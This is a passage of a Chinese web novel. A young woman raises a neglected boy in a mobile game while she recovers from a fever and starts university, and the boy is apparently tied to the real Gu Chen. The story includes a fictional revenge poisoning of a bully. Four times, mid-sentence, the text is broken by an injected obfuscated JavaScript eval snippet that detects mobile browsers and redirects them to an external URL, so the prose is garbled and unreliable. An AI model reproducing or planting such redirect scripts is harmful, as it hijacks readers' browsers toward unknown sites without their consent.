小可怜听完却摇了摇头，拉住她的手，抬头看着她，“渺渺姐，我不想退课。” “为什么？放心，一点小钱，退了就退了。”想到学费，祝渺还是肉疼了一下。 小可怜却是笑了笑，“渺渺姐，不是你说以牙还牙不能让人欺负吗？我还没练好还手回去呢，怎么可以中途放弃半途而废呢？” 说得有道理，祝渺一时间无法反驳。 此时，系统忽然跳出提示：【第二章校园】进度已完成100%，恭喜你解锁新成就：共情。 看到忽然出现的提示，祝渺愣了一下。这个篇章的任务，就这么完成了？ 她只不过找到了小可怜被欺负的线索，都没有帮他解决问题呢。 难道，这关就是告诉小可怜，被欺负了可以还手，忍气吞声就会任人宰割，然后让小可怜自己解决问题，就可以了？ 好吧，虽然有点无趣，但好像也合理的。 既然这样，她就不取消这门课程了吧。 祝渺输入：“那咱们就好好上课，遇到对手了就揍回去，不过不要逞强哦。” 小可怜乖乖点头：“好。我一定会好好上课的。” 多乖巧的崽呀，不哭不闹，真让人省心。 想起小可怜今天一个人孤零零走出教室的样子，和四周热闹的NPC们格格不入，祝渺恍惚中看到自己的影子。 “你是不是和NPC......”哦不，祝渺删除文字重新输入，“和同学们，相处得不太好呀？” 小可怜似乎没想到她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15421179|169057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 突然问这样的问题，他思索了一下，不太确定道：“应该没有。” “那你有交到朋友吗？” “没有。” “为什么呢？” 小可怜沉默住了，祝渺差点以为人工智能回答不上来她的话了，准备放弃等待回答时，小可怜回答道：“我不需要朋友……我有渺渺姐就够了。” 万万没想到是这样的回答，渺渺被感动了一下，心道自己真是没白疼这孩子啊。 可人是群居动物，小可怜这样孤僻，不会又生出什么心理障碍吧。 这样的心态可不健康啊。 正在犹豫要不要教育一下小可怜，他却忽然问：“渺渺姐，孤独是一种什么样的感觉？” 祝渺斟酌了许久，不知道该如何回答，想了想还是输入：“大概是......想要被理解，但是没有人理解自己吧。” “那，无法被理解的时候，该怎么办呢？” 祝渺又斟酌许久，她想到了过去的自己。 刚来到这座城市时，她其实并不适应这里的生活。 自从九岁，她恢复记忆后，心智就已经不是个普通小孩子的心智了。 在这样的情况下，让她去小学、初中上学，对她来说是一件十分无趣无聊的事情。 她没有办法和一群幼稚的小朋友相处成朋友。 所以她只能埋头学习，或看一些做一些小朋友无法理解的事情，带着比一般人更成熟的心智，一不小心，她就成了老师同学眼中的小学霸、乖学生。 可这在同学眼里就是不合群、孤僻，所以她一向没有朋友。 这样的情况持续多年，哪怕是个心态再好的成年人，也会憋疯吧。 或许这也是她“沉迷网络”成为“冲浪少女”的原因——身边没有能说上话的人，那就只好上网了。 这样的状态持续到高中，重点高中的同学相对拥有更成熟稳重的心智，她的同桌秦洛就是高中三年期间，和她成为了很好的朋友。 虽然她们都会有幼稚不成熟的少女心态，比如会打游戏会冲浪追星，但行为处事和人生态度等很多方面，她们已经有着相对一致的三观。 人与人，也是在基本认同的三观之上，才能成为长久密切的朋友的。 想到这里，祝渺敲下了几段文字： “如果不想交朋友也可以不交，不是所有人都一定要交很多朋友才代表正常。” “这并不代表着你不合群，只是可能你运气不太好，没有在一个适合你的环境里，没有遇到适合你的人。” “但总有一天，你会遇到能理解你，支持你的人。” 发出后过了一会儿，又补充了一句，“所以如果你现在感到了孤独，不要害怕，那只是暂时的而已。” 祝渺写这些话的时候，有一瞬间觉得，她是在面对过去的自己说的。 顾忱听到她的回答，久久沉默。 有一种前所未有的温暖涌上心头，这种感觉，和她当时出现在地下室，带走他的感觉，又是不一样的。 他忍不住扬了扬嘴角。 理解他，支持他的人……他是不是已经遇到了呢。 8. 第 8 章 这天，顾忱像往常一样来完成散打课程的学习。 自从上次被渺渺姐现场“教育”过后，小胖子嘴上依然是狗嘴里吐不出象牙，但下手放轻了点——至少学会了不在他身上留下什么痕迹。 打到一半，到了课间休息时间，小胖子嘲讽道：“小矮子，虽然你最近是长了点本事，但你在我手下还是这么弱鸡！” 顾忱不理他，径自到角落里，拿出了一个盒饭，又拿出饮料，准备开动。 小胖子见他不说话，不搭理自己，更加生气，走过去一把抢走了盒饭和饮料，“你是哑巴吗？哦，这些吃的看起来不错，归我了！” 顾忱伸手护食，要将东西抢回来，怒道：“还我！这是渺渺姐给我准备的！” 小胖子一把将他推在了地上，“这么小气干什么，不就尝尝吗？”见这小矮子想要却抢不过他的样子，他心里一阵得逞的得意之感。 并且，立刻在顾忱面前吃了起来。 顾忱只能伤心地祈求：“给我留一点……” “哈，我就不！” 小胖子吃得更欢，一下子全给干完了。 吃完还做了个鬼脸，招呼顾忱继续和自己打。 “吃饱了，揍你更有力气！” 顾忱眼皮半掩，遮掩了眼底暗藏的汹涌的怒火。 爹妈没教育你，总有人会教育你。 一会儿，二人又要开始打，双方都摆出了姿势，小胖子忽然脸色一变，双手捂住了腹部，面露痛苦的表情。 捂了一会儿，开始忍不住在地上打滚哀嚎。 终于，之前将他们俩视若无睹、毫无存在感的老师同学纷纷上前，将喊着“肚子好痛”的小胖子一起抬上了救护车。 顾忱面露震惊和呆滞，配合大家躲到人群后面，直到人流离去，只留下他一个人。 他这才恢复漠然的表情，长长的睫毛在眼睑下留下一片阴影，掩饰了眼里波澜不惊的暗色。 以他目前的体力和身板，与这鲁莽的小胖子硬钢，只会两败俱伤。 杀敌一千，自损八百的事，他为什么要做？ 既然要报复，自然是要让自己完好无损地从这件事中摘出来。 最终，校方调查出最终结果，小胖子中午在学校吃的午饭，和顾忱吃的盒饭、饮料一起吃，会造成食物中毒。 而原本，他如果不抢顾忱的食物，他就不会出事；而顾忱也没有在学校吃午饭，所以让顾忱好好吃个盒饭，他们就都不会出事。 这件事，顾忱也是个无辜的受害者罢了，怎么也怨不到他的头上。 …… 这些事情，他没有告诉渺渺。 而祝渺，也并不知道发生了什么。 自从第二章结束，她和小可怜聊完天，小可怜就正常去上课了，健康值没有再无缘无故地下跌，武力值也在以更快的速度增长。 这个结果，她是很满意的。 * “录取结果出来啦，我被江大心理学专业录取啦！渺渺你查了没查了没！”秦洛兴奋地打来电话，中止了祝渺的游戏时间。 她有些意外，“这么快就出结果了？你消息真灵敏，我都还没查呢。” 秦洛不满：“不是我灵敏，是你太不在乎啦，你这敷衍的态度，简直能气死一众人啊。” 祝渺一边和她扯淡，一边打开电脑查询录取结果。 身份证号……考号……录入，查询。 录取结果： 【恭喜你已成功被江州大学新闻专业录取。】 “完了……”祝渺道。 秦洛一个紧张，“怎么了？怎么回事，你别吓我，你不会填错志愿了吧？” 祝渺接着笑道：“完了，又要和你做四年同学了。” “……”秦洛无语。 秦洛很是擅长检索各种网络信息，才刚出录取结果，半小时后，她就已经找到了一连串大学的最新消息，包括宿舍和校园的环境照片，刚建的各大学院群，专业导师信息……连带着和她并不是一个专业的祝渺需要的信息，她也一并准备好了。 “有我这样靠谱的好朋友，你就知足吧！” “是是是，交到你这样的朋友，我每天做梦都会偷笑醒。” 祝渺毫不客气地享用了秦洛的提供的资讯，飞快找到了自己的组织。 成功进入了“江大新闻family”群聊，她有些拘谨地和大家打了个招呼，介绍了自己的名字。 群是学长学姐专门为最新一届的学弟学妹建立的，群里人还不多，祝渺是第15个成员。 刚发出消息，就收到了一个学长热情的回复。 刘宇：【欢迎学妹加入！】 其他同学跟着表示欢迎，以及：【新人加入按规矩先走流程，爆照一张！】 【爆照爆照，康康照片！】 祝渺：…… 许久，大家见祝渺不说话，似乎也有些不知怎么接话了，群里人少，接话的人本就不多，显得有些尴尬。 刘宇缓和道：【别上来就要人照片，学妹都要被你们吓跑了。】 又对祝渺道：【他们就是想提前认识一下你，没别的意思哈，也可以不用发，不用听他们扯淡。】 萌新章章：【靠，学长，你刚可不是这么对我的，这就是学弟学妹之间的差别待遇吗？】 祝渺好笑地看他们回嘴，好奇点开相册看了一眼，已经有好几张照片了。 其中一张照片就是刚才的萌新章章，照片还有介绍真名，叫章简川，看照片和介绍是个挺搞怪的男生，剪了一个酷酷的爱豆发型，戴着耳机，做了个搞怪的表情。 还有学长学姐的照片也在其中，刘宇学长的照片是张全身照，他站在舞台上领奖，穿着正装，五官端正，短发干净利落，不算惊艳的帅气但也很耐看，一眼看着就是个成绩优异的学霸形象。 大家以后都是同学，她倒也不介意发自己的照片。 于是在相册里挑选了一张和祝召年出去吃饭，她坐在对面，祝召年顺手给她拍的照片。 照片里她捧着冰淇淋，一头长发温柔散落在肩头，脑后束了一小撮头发，用蝴蝶结发夹固定，脸颊两侧有几缕刘海散着，她露出一个甜美的笑容，看起来飘逸灵动。 照片一发出去，群里为数不多的几个人，达到了惊起千层浪的效果。 萌新章章：【！这是我们班花吗！】 陆昊然：【我们有这么漂亮的同学？！】 琳琳：【我爱美女！斯哈斯哈，想和美女贴贴！】 萌新章章：【琳琳，你好像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15421180|169057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个女变态…】 琳琳：【研究表明，女生会更爱看美女，你懂不懂】 …… 你一言，我一语，群聊被刷得飞快，一会儿就跑偏到其他话题去了。 祝渺和大家暂时不熟，大概认识完群里的人，她就准备潜水摸鱼了，看着刷不停的群聊，她甚至把群聊设置为了免打扰…… 好了，世界终于清净了。 她不知道的是，之后群里每增加一个新同学，她的照片就会被拉出来作为班级群颜值担当议论一遍。 虽不在江湖，但江湖依然有她的传说…… 高冷系花学妹的名号已在她不知不觉中流传到了各个专业…… “阿啾——”祝渺打了个喷嚏。 啊，好像是夏天室内空调太低的缘故，她好像吹多了空调冷气，开始出现了一些感冒的症状。 祝召年也发现了这一点，给她准备了一些感冒灵颗粒冲剂，“你看看，一天到晚在家待着吹冷气不运动，吹出问题来了吧？还非得裹着被子吹冷气，真是不懂你们年轻人……” 祝渺晕乎乎地听着自家老爸念叨，一边喝下了冲剂，喝完就乖乖躺下睡觉休息了。 祝召年念叨完她，又是无奈地出去了，他也不想打扰她休息。 虽然喝了药，但入夜以后，祝渺还是觉得身体哪哪儿都不对劲。 这么热的夏天，白天接近四十度的高温，夜晚也有三十多度，空调已经开了最低档的风量，还开了二十八度的高温，她缩在被窝里，依然觉得有些发冷。 过了一会儿，她伸出手摸了摸额头，有些发烫。 糟糕，好像开始发烧了。 这么晚，祝召年应该已经睡了，她晕乎乎地起身，拿了一支体温计，给自己检测了一下。 体温显示：38.5度。 果然是发烧了。 她都已经多少年没有发过烧了，居然因为吹多了空调着凉发烧…… 祝渺一边感慨自己体质怎么这么差，一边从药箱里找了一粒退烧药片吃了下去。 躺了半小时，她总算觉得身体舒服许多，大概是开始退烧了。 在这种状态中，她又迷迷糊糊睡了过去。 第二天，祝渺是被祝召年喊醒的，她定睛一看，自己已经身在医院里了。 “你这孩子，都烧晕了知不知道？夜里起来测了体温拿了药吃，也不知道喊我一声。”说到底，是女儿太要强独立了。 祝召年心疼地摸了摸祝渺的额头，已经不烫了，应该是再次退烧了。 祝渺总算恢复了清醒，看着自己手上扎着的针，才意识到自己已经在医院挂点滴了。 “我昨晚吃了退烧药，没想到今天又复烧地这么严重……”祝渺无力地辩驳。 祝召年也不再指责她，只在她身边静静地陪着她吊水，边陪边刷着手机。 祝渺也静静等着袋子里的药水一点点减少，但她一只手也没法玩游戏，只能刷刷消息，看看文章，又登录许久没登的微博，看看新闻。 这时，她看到了一条推荐给她的最新消息：【据最新的内部消息，顾氏对其小少爷采用最新的精神治疗手段后，确认陷入昏迷……】 祝渺瞳孔微缩。 顾氏……这是她记忆里的那个顾氏吗？ 9. 第 9 章 这条讯息并没有引起多大关注，热度还不算高。 大致内容就是，顾家为了治疗少爷的精神和心理类疾病，此前对外表示将启用最新精神干预技术进行治疗。 不过这项技术还没有到完全成熟推广的阶段，因此必须承担一定风险，可能有可能无法起到理想效果。 没想到，治疗几个月后，不仅干预治疗完全失败了，而且顾家少爷还陷入了昏迷，此后有可能只能做个植物人…… 这是一篇综合报道，交代了事件背景之后，又探讨了最新精神干预机器的治疗手段发展的合理性，以及关于金钱到底买不买得到健康诸如此类的社会问题。 不过看到报道的网友可不关注这些辩证性的讨论，他们的关注点放在了这件事背后的八卦上。 比如，有些所谓的知情人士八卦道： 【这个顾氏小少爷，就是顾家那个小儿子吧，我记得有件尴尬的事，小儿子才是顾家正夫人唯一的儿子，大少爷反倒是个私生子，十几岁了才认回来，比小儿子早生了五六年……啧啧，贵圈很乱啊……】 【豪门深似海，已经脑补出上一代棒打鸳鸯带球跑，多年后私生子上位的豪门恩怨戏码了。】 【我听过，而且大家看顾氏对外投资情况，大少爷已经在各领域投资开拓商业版图了，看来以后顾家都是这个大少爷当家了。】 【什么年代了还搞豪门继承这一套……】 【资本家不就这样，利传利，利滚利，资本的雪球就是这么来的咯。】 【忽然想到一个阴谋论，大少爷比小少爷年长这么多岁，十几岁才回顾家，肯定很不甘吧，没准这个什么小少爷昏迷和内斗脱不开关系啊。这下顾大少爷的位置应该坐得更稳了吧。】 【不管什么年代，人性在金钱面前都要低头……】 【戏剧来演生活，有时候生活比戏剧更夸张。】 …… 祝渺大概就翻到这些评论，根据八卦的内容比对了一下信息，推测出新闻里的小少爷就是当年的顾忱。 她离开顾家的时候，还没有顾大少爷回来这一回事。 他居然……陷入昏迷，从此成为植物人了？？ 祝渺皱起眉头，怎么会这样，她记得原著里并没有这样的剧情啊。 不知道是剧情里没有提到，还是因为她的离开出现了变数，蝴蝶效应，导致顾忱变成这样。 如果是因为她，那就是她间接导致了顾忱变成这样。 脑海里封藏的记忆隐约闪现。 她当年离开的时候，他……哎。 算了，不去想了，反正都过去了。 理智又盖过了琐碎的记忆。 毕竟顾忱可是原剧情里的阴鸷反派啊，他昏迷了，就更不会再对她产生威胁了，对她来说应该是好事。 她现在已经摆脱原著剧情了，她和这些剧情里的人物彻底没关系了。 总之，她以后再也不会遇上反派了。 想到这里，祝渺关掉新闻页面，不再关注八卦报道。 这么多年了，她已经将这个世界当做真实世界了，原著剧情的角色，她越少接触越好。 否则这些人物也是变相地在提醒她，这里并不是她的现实世界。 * 挂水一直挂到黄昏，天色已经暗了。 祝渺是又睡了一觉醒来的，醒来后就感觉身体状态大好，测量体温也已经完全退烧了。 但是祝召年依然不放心她，回到家后，给她做了一些营养餐，还炖了一锅冰糖雪梨。 餐桌上，菜品热腾腾的香气扑鼻而来。 祝渺边闻边撒娇道：“我爸做的菜最香了，以后不能常吃到了可怎么办呀？” 祝召年道：“那就常回家看看呗，离得又不算远。” “会的会的！” “说起来，不知道这么多年了，顾家是不是还在江州，虽然你只是去上学，但还是小心别再和他们扯上关系了……” “放心吧，都这么多年了，咱们早就没联系啦，不会这么巧的。” 在不知道反派昏迷之前，祝渺当初也想过这个问题。 但他们当年是正大光明地离开的，没有必要一直躲着，顾家也没有找他们的理由，所以她还是选择了自己喜欢的学校。 这天晚上，为了让她得到充分的休息，祝召年要求她不准玩手机了，乖乖休息睡觉。 祝渺虽然白天睡得足够多了，但大病初愈，依然体虚着，也就乖乖上床，早早闭目养神了。 这一天，她都没打开游戏。 直到第二天中午起床，她身体恢复全了，才久违地打开了她的小游戏。 她不在的时候，小可怜也通常在认真学习努力升级，不知道又涨了多少点成长值呢？ 兴致勃勃地打开游戏，却发现，咦？她的小可怜呢？ 查看小可怜目前日程安排是在休闲中，说明并不在上学。但是怎么不见人影，难道不在家吗？ 东点点西点点，祝渺点击了卧室，进门一看，原来小可怜正躺在床上睡觉呢。 不对……【健康值：-20】！ 怎么又又又负数了！ 祝渺一脸痛苦面具，怎么刚养得健健康康的崽，一下子就又健康值为负了！才一天不见而已！ 这是，页面忽然又跳出了系统提示：您已解锁【第三章生病】 祝渺赶忙一看小可怜状态：生病。 原来小可怜是病了。 “祝渺”赶紧走到小可怜身边，小可怜面色泛红，眉头紧促，看起来十分痛苦。 他迷迷糊糊地眨了眨眼，看见熟悉的身影，喊了一声“渺渺姐”。 祝渺输入文字：“你现在感觉怎么样？” “感觉……头好疼，还好冷……我，我应该是发烧了。” 祝渺内心想，她才刚生完病，小可怜就接着生病，她最近怎么就和感冒发烧过不去了呢！ 感冒发烧了该怎么办？ 如果是现实中，首先应该给小可怜测量一□□温吧？ 祝渺点开了商城药品系列，还真有体温计，于是她立刻下掉购买了一支。 给小可怜使用温度计测量体温，使用完毕后，体温计显示数字：39.4。 祝渺：！居然高烧到39以上了！ 又点击商城，找了找退烧药，却发现，她记得之前分明才50金币的退烧药，现在已经显示500了。 祝渺忍不住骂了一声，这狗游戏，居然坐地起价！！ 不就是仗着她舍不得卸载游戏吗！可恶！ 祝渺咬了咬牙，气抖冷地点下了购买。 赶紧给小可怜使用后，系统提示：退烧药使用完毕，短期内无法再次使用。 祝渺赶紧又测了测小可怜的温度：38.4度。 祝渺无语，这是什么退烧药，效果这么差！居然只退烧了1度？！ 此后，小可怜的高烧依然只增不减，祝渺也没有其他药物可以进行治疗了。 这下怎么办？进程要是一直卡在这里，她该不会养成失败吧？ 怎么办...... 想起自己昨天的经历，高烧不退……送去医院治疗总靠谱了吧。 于是祝渺点击地图，想带小可怜去医院，可系统却跳出提示：【健康值过低，无法转移地图】。 哈？她连带他去医院都不行？ 出不了门，那怎么办，难道叫救护车？ 嗯？救护车？ 祝渺灵机一动，打开她极少用到的手机，发现通讯录里多了一个电话，是附近医院的急救电话。 原来是在这儿等着她呢。 祝渺发现线索后松了一口气，点击电话进行拨打，手机页面跳出了信息：您需要什么服务？ 【 选1:在线问诊 选2:叫救护车 】 又是指向性十分明显的两个选项，她已经基本知道这个游戏的尿性了。 这肯定是选2啊，祝渺不假思索选了救护车。 没想到，系统又跳出选项：叫救护车需 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15421181|169057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要金币10000，您是否确认选择？ 祝渺：…… 这游戏，资本家的嘴脸越发明显了啊！ 病来如山倒，要是没钱治病，这个游戏就真是不氪金就没法玩了？ 祝渺拳头硬了，但还是选择了叫救护车。 扣除10000金币后，小可怜被送到了医院进行治疗。 幸好之后的治疗买药都并没有花钱，等治疗结束后，小可怜的健康值就一点点恢复到了20点。 医院拿回来的报告单写着医嘱：痊愈需要保证营养的饮食和充足的睡眠。 哦，明白了，让她多买食物多做饭。 回到家后，小可怜就道：“渺渺姐，谢谢你。” 祝渺炸起的毛立刻就被梳顺了。 游戏策划很可恶，但孩子是无辜的啊！QAQ 于是她回复道：“真乖～那我们现在睡觉休息吧？” 小可怜却拉住她的手，委屈道：“那，渺渺姐可以在旁边陪我吗？我昨天一直做噩梦，有人在旁边，我会睡得更安心。” 祝渺怎么忍心拒绝呢？当然是选择答应他。 于是让小可怜去睡觉以后，祝渺就在房间里待着，进入陪伴模式。 小可怜果然睡得很不安分，他一睡着，就开始紧紧皱眉，好像遇到了什么害怕的事情。 然后吓得睁开眼，见到渺渺后才安心下来。 “怎么了？梦见什么了？”祝渺关心地问。 小可怜却是摇了摇头，“不记得了，应该是很不好的事情。” 然后他又看着“祝渺”，忽然神色认真地问：“渺渺姐，你会一直在我身边陪着我吗？” 他忍不住问出这样的问题，因为只有他自己知道，他刚开始病倒的时候，意识不清地躺了好久好久，他努力不让自己昏过去，一直在等，却都没有等到祝渺出现…… 他有多么害怕，她不会再出现了。 祝渺见小可怜发出这样的疑问，心道他一定是太没有安全感了，童年有缺憾的孩子，总是敏感脆弱的。 看来她要多多给小可怜鼓励才行。 于是祝渺输入：“我当然会啦。” 小可怜这才松了口气似的，放下心来：“那我们说好了，我们要一直在一起。” “嗯，一定会哒。” 听到她肯定的回答，小可怜这才闭上眼睛，安心地沉沉睡去。 …… 第二天，小可怜的健康值就恢复到了50点，又可以正常出门学习了。 页面跳出系统提示：【第三章生病】进度已完成100%，恭喜你解锁新成就：陪伴。请确认领取您的奖励：50000金币。 祝渺惊叹，居然有奖励了！还是一口气五万金币。 忽然觉得，这个游戏好像也没有那么资本家了，还是有那么点良心在的……虽然不多。 咳，她又决定暂时收回之前骂游戏策划的话。 系统奖励金币后，好事接着又一桩，那就是她发现，自己解锁了许多工作，所以各项属性值也在日常任务中提高了不少，现在居然已经可以进公司当个小白领了！ 更令人惊喜的是，小白领的工资有日薪1000金币！ 这样，她就是月薪在2-3万金币之间的中层水平打工人了。 再加把劲儿，就能升职加薪走上人生巅峰，翻身农奴把歌唱，靠努力的双手创造幸福的果实～ 祝渺想得美滋滋，对未来养孩子的道路充满了信心。 再看一眼小可怜的年纪，啊，居然已经满14岁了？之前升级提示她并没有注意到，怪不得最近已经初有帅气小少年的模样了！ 吾家有儿初长成啊，祝渺越看小可怜越觉得他长得帅气，眉眼间已经开始脱去了稚嫩感，有些沉稳和坚毅在眼里了，原本眼睛就深邃明亮，现在更显得像浩瀚星辰，脸型也不再圆润，有了些少年的轮廓感。 太好看了太好看了，必须给美工加鸡腿！ 祝渺忍不住对小可怜一阵咔咔截图，存入了云相册。 10. 第 10 章 大约在七月中下旬，各个大学已经开始陆陆续续给学生们发录取通知书了。 祝渺的录取通知书到的比较晚，大概在八月初她才收到。通知书做得很精美，祝渺点开社交软件，许多同学朋友都在拍照秀自己收到的通知书。 祝渺也拍了个照片，不过不是为了自己发，而是为了发给她爸爸。 从小到大祝召年都会把她具有纪念意义的照片收集起来，这次也不例外。 不过最重要的是，祝召年还要和他的朋友们炫耀一番自己的女儿考上了名校。祝渺觉得，要不是他们家没什么亲戚，她爸一定会更过分地走亲访友广而告之。 社交软件里，各个班级群消息都聊得热火朝天，每天999+，对话内容堪比上数学课——一旦错过一点过程，之后就看不懂了。 于是祝渺干脆选择不看群聊，只看好友发来的信息。 不过会每天和她聊天的人，也就秦洛而已。 秦洛：【渺渺，一个坏消息，王朔晒了自己录取通知书，录取院校还真是江大附近那个三流工程院校......】 秦洛：【他也真是执着，以后不会来学校打扰你学习吧......】 渺渺：【……】 渺渺：【兵来将挡，水来土掩】 在高中时期，王朔向她高调告白过好几次，但她早就已经明确拒绝了他。 可他似乎有点一根筋，依然执着地认为，祝渺高中只是为了把心思放在学习上，所以“被迫”、“不得不”拒绝他。 现在毕业了，他反倒更加执着了。 你永远叫不醒一个装睡的人。对于祝渺的拒绝，王朔总有理由自圆其说，所以祝渺只好不搭理他，否则他会越来劲儿。 正刷着消息，手机顶部又弹出一条□□提醒，祝渺打开一看，发现是刘宇学长发来了好友添加申请。 是本院系的学长，祝渺自然是选择了通过，并且礼貌打了个招呼。 刘宇学长立刻回复：【渺渺学妹好，我也是新闻专业的，以后就是你直系学长了，不过你应该已经知道了吧】 说着他还配了一个可爱的表情包。 祝渺：【嗯嗯】 刘宇：【加你主要是为了了解一下，最近有没有什么自称是同院校学长学姐的人来加你和你聊天】 祝渺立刻回答：【有的】 刘宇：【谁呀？】 祝渺：【你呀】 刘宇发了一个笑哭的表情：【学妹挺幽默……不过好像也确实没毛病】 祝渺也发了一个哭笑不得的表情。 刘宇又道：【是我没说清楚，他们会自称是学长学姐，和你套近乎，然后就告诉你学校里的一些规定，最后会引导你购买增值服务或套取你的个人信息。】 祝渺心中了然，原来学长是来好心宣传安全防诈小贴士的。 刘宇：【这些多半是诈骗信息。糟糕的是，我们班已经有同学上当了，所以我才迫不得已一个个来提醒你们。】 祝渺：【谢谢学长提醒，学长你就是我们的班助吗？】 她刚从秦洛那了解到，他们学校每个班级都会有分配学长学姐给他们当班助，也就是班主任助理，为这些学弟学妹进入大学生活做引导。 刘宇现在会一个个来加好友做宣传，那想必就是他们的班助了。 刘宇见到祝渺的问题，沉默了半晌，才回复道：【原来你才意识到吗......】【流泪.jpg】 忽然感觉有点受挫，是他在学生中太不突出了吗？以至于学妹现在才意识到他的存在…… 祝渺意识到自己好像长期忽视了群消息，于是道歉：【不好意思呀，我没有怎么看群消息】 刘宇：【没关系没关系，是我和你们联络不够及时。以后会有很多地方需要沟通，学妹有什么需要也可以联系我。】 祝渺：【好的，谢谢学长。】 刘宇：【哦对了，如果不知道开学前需要准备什么东西可以在群聊问，尤其是开学后军训，最好准备一些应付军训的东西，比如鞋垫、防晒用品。】 经他一提醒，祝渺才想起来，糟糕，大学有军训！她差点把这件事忘了。 祝渺扶额，上一世的大学，她正好受伤没参加军训，所以根本没有什么印象。 忍不住叹了口气，这么多年来，她第二讨厌的是体育课，最讨厌的是军训。她虽说不上弱不禁风，但也确实体能一般。 他们学校开学早，算一算时间，离开学也就剩二十几天了，祝召年倒是已经忍不住开始给她买这买那，恨不得给她在学校里安个家。 当然，一些没必要的行李她统统拒绝了，完全没必要给自己增加负担。 不过军训的东西她确实还没什么准备，于是浅浅做了一些攻略，准备了些鞋垫和防晒。 祝渺一边忙碌一边刷刷游戏，刷着刷着就已经给小可怜解锁了高中课程，课程变得更加丰富了。 不过有时候忙，她就开着游戏挂机，反正游戏程序会自动运行。 于是，祝渺又没有看到，系统跳出了升级提示，小可怜已经长到十五岁了。 一直到某天早上，祝渺收到了新地图解锁的提示： 【您已解锁新场景：游乐园。】 新地图？居然还是游乐园，听起来很有意思啊。 她点开地图看了看，又顺带点开了小可怜的信息面板，这才发现小可怜居然已经15岁了。 小可怜都长这么大了，虽然还是很乖巧，但不再是奶胖奶胖的小男孩了，这个游乐园才开放，开放得也太晚了吧。 祝渺内心默默吐槽，不过转念一想，十几岁也还是青春期少年少女呢，倒也合适。 于是，等小可怜课程状态结束，她就问小可怜：“想去游乐园吗？” 小可怜顿了顿，“我们一起吗？” “当然啦。” “好。想去。” 主要是她觉得，小可怜从小就没有正常的家庭，他一定没有过家人陪他去游乐园玩这样的体验。 于是，点击携带小可怜，前往地点：游乐园。 进入新场景前系统会播放一段场景动画，豪华城堡、惊险刺激的过山车、海盗船，温馨欢乐的旋转木马，一一在动画介绍里呈现。 别说，这个游乐园的设计还真好看，完全是崭新又豪华的游乐设施。 进入地图，小可怜就道：“渺渺姐，这是我第一次来游乐园。” 祝渺心道，这不是当然的嘛，地图都没开放，他怎么可能来过游乐园呢。 祝渺：“想玩什么呀？” 小可怜看她：“渺渺姐想玩什么？” 祝渺：“过山车？” 反正是在游戏里玩，看个动画罢了，她就选刺激的玩，反正会怕的人也不是她！ 小可怜：“好。” 于是点击过山车，画面一转，“祝渺”已经坐在了车上，视野越来越高，刷地一瞬，画面往低处冲去。 看着动画，祝渺不由得眼前一晕。 虽然只是动画，做得居然还挺真实，她生理上没感受到失重，心理上却是感受到了。这技术，要是做成VR那一定会十分逼真！ 过山车一轮游结束，二人回到了过山车附近的平地上，小可怜淡定的脸色中，似乎隐忍着一丝痛苦…… 祝渺忍不住逗他：“哈哈哈哈，怕吗？害怕就不要忍啦。” 反正她不怕，她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15421182|169057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只是看了一段动画。 小可怜：“还，还好。” 嗯，还嘴硬呢。 祝渺也不戳穿他，问：“接下来还想玩什么？要不我们再玩一次过山车？” 小可怜面露难色：“不，不玩了吧……” 祝渺捧着手机，忍不住“噗嗤”一声笑出声来。 啊，要是是真的人在她面前，表情应该会更可爱吧…… 不行，她在想什么呢？真人和纸片人可是有壁的。 她一会儿没回复，小可怜问：“渺渺姐，以前经常来游乐园吗？” 祝渺想了想，“嗯，经常和家人一起玩呢。” 小时候，祝召年经常带她一起玩，虽然她的心态已经不是半大的小孩了，但进了游乐园还是会很开心。 “家人……” 小可怜若有所思，“所以，我和渺渺姐，现在也算是……家人吗？” 祝渺觉得，小可怜好像有点误会游乐园的意义，不过，这一定是因为小可怜从小没有家人陪伴，太缺爱了。 于是祝渺怜惜道：“虽然不是血缘上的家人，但我们是情感上的家人哦。” “那也是家人的一种，对吧？” “当然啦。” 